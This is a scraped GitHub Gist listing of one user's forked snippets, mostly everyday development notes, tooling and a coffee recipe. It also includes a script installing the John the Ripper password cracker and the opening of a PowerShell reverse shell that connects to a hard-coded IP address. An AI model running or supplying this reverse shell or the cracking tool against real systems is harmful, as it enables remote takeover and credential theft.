Skip to content

Instantly share code, notes, and snippets.

This file has been truncated, but you can view the full file.
/
$$$lang-translate.service.js.aspx
$367-Million-Merger-Blocked.html
$defaultnav
${idfwbonavigation}.xml
$_news.php
$search2
£º
.0
/0
@gavingmiller
gavingmiller / jtrinstall.sh
Last active January 5, 2020 02:52 — forked from goffinet/jtrinstall.sh
John the Ripper 1.8.0 Installation for Centos 7
#!/bin/bash
# Centos 7 John the Ripper Installation
git clone https://github.com/magnumripper/JohnTheRipper.git
cd JohnTheRipper/src
git checkout bleeding-jumbo
./configure
make -s clean && make -sj4
cd ../run/
./john --test
@gavingmiller
gavingmiller / tmux-cheatsheet.markdown
Last active May 15, 2018 19:33 — forked from MohamedAlaa/tmux-cheatsheet.markdown
tmux shortcuts & cheatsheet
@gavingmiller
gavingmiller / mini-reverse.ps1
Last active March 21, 2018 23:57 — forked from staaldraad/mini-reverse.ps1
A reverse shell in Powershell
$socket = new-object System.Net.Sockets.TcpClient('172.16.103.106', 413);
if($socket -eq $null){exit 1}
$stream = $socket.GetStream();
$writer = new-object System.IO.StreamWriter($stream);
$buffer = new-object System.Byte[] 1024;
$encoding = new-object System.Text.AsciiEncoding;
do
{
$writer.Flush();
$read = $null;

Types

A type is a collection of possible values. An integer can have values 0, 1, 2, 3, etc.; a boolean can have values true and false. We can imagine any type we like: for example, a HighFive type that allows the values "hi" or 5, but nothing else. It's not a string and it's not an integer; it's its own, separate type.

Statically typed languages constrain variables' types: the programming language might know, for example, that x is an Integer. In that case, the programmer isn't allowed to say x = true; that would be an invalid program. The compiler will refuse to compile it, so we can't even run it.

Coffee Collective Aeropress Recipe

  • Use standard orientation (i.e. not inverted).
  • 16g coffee.
  • Add water to get to 40-50g combined. Allow grinds to bloom for 15s.
  • Add water to get to 230g.
  • Do not stir.
  • Press over a period of 25s. Stop when you hit the top of the grinds.
@gavingmiller
gavingmiller / deploy.rake
Last active December 15, 2015 09:49 — forked from njvitto/deploy.rake
# Deploy and rollback script for Heroku on staging and/or production
# Modified from: https://gist.github.com/njvitto/362873
namespace :deploy do
PRODUCTION_APP = 'YOUR_PRODUCTION_APP_NAME_ON_HEROKU'
STAGING_APP = 'YOUR_STAGING_APP_NAME_ON_HEROKU'
desc 'Deploy to Staging on Heroku'
task :staging => ['deploy:set_staging_app', 'deploy:push', 'deploy:restart', 'deploy:tag']
desc 'Deploy to Production on Heroku'

Capybara

save_and_open_page

Matchers

have_button(locator)
#in config/initializers/wicked_pdf.rb
module WickedPdfHelper
def wicked_pdf_stylesheet_link_tag(*sources)
sources.collect { |source|
"<style type='text/css'>#{Rails.application.assets.find_asset("#{source}.css")}</style>"
}.join("\n").gsub(/url\(['"](.+)['"]\)(.+)/,%[url("#{wicked_pdf_image_location("\\1")}")\\2]).html_safe
end
def wicked_pdf_image_tag(img, options={})
image_tag wicked_pdf_image_location(img), options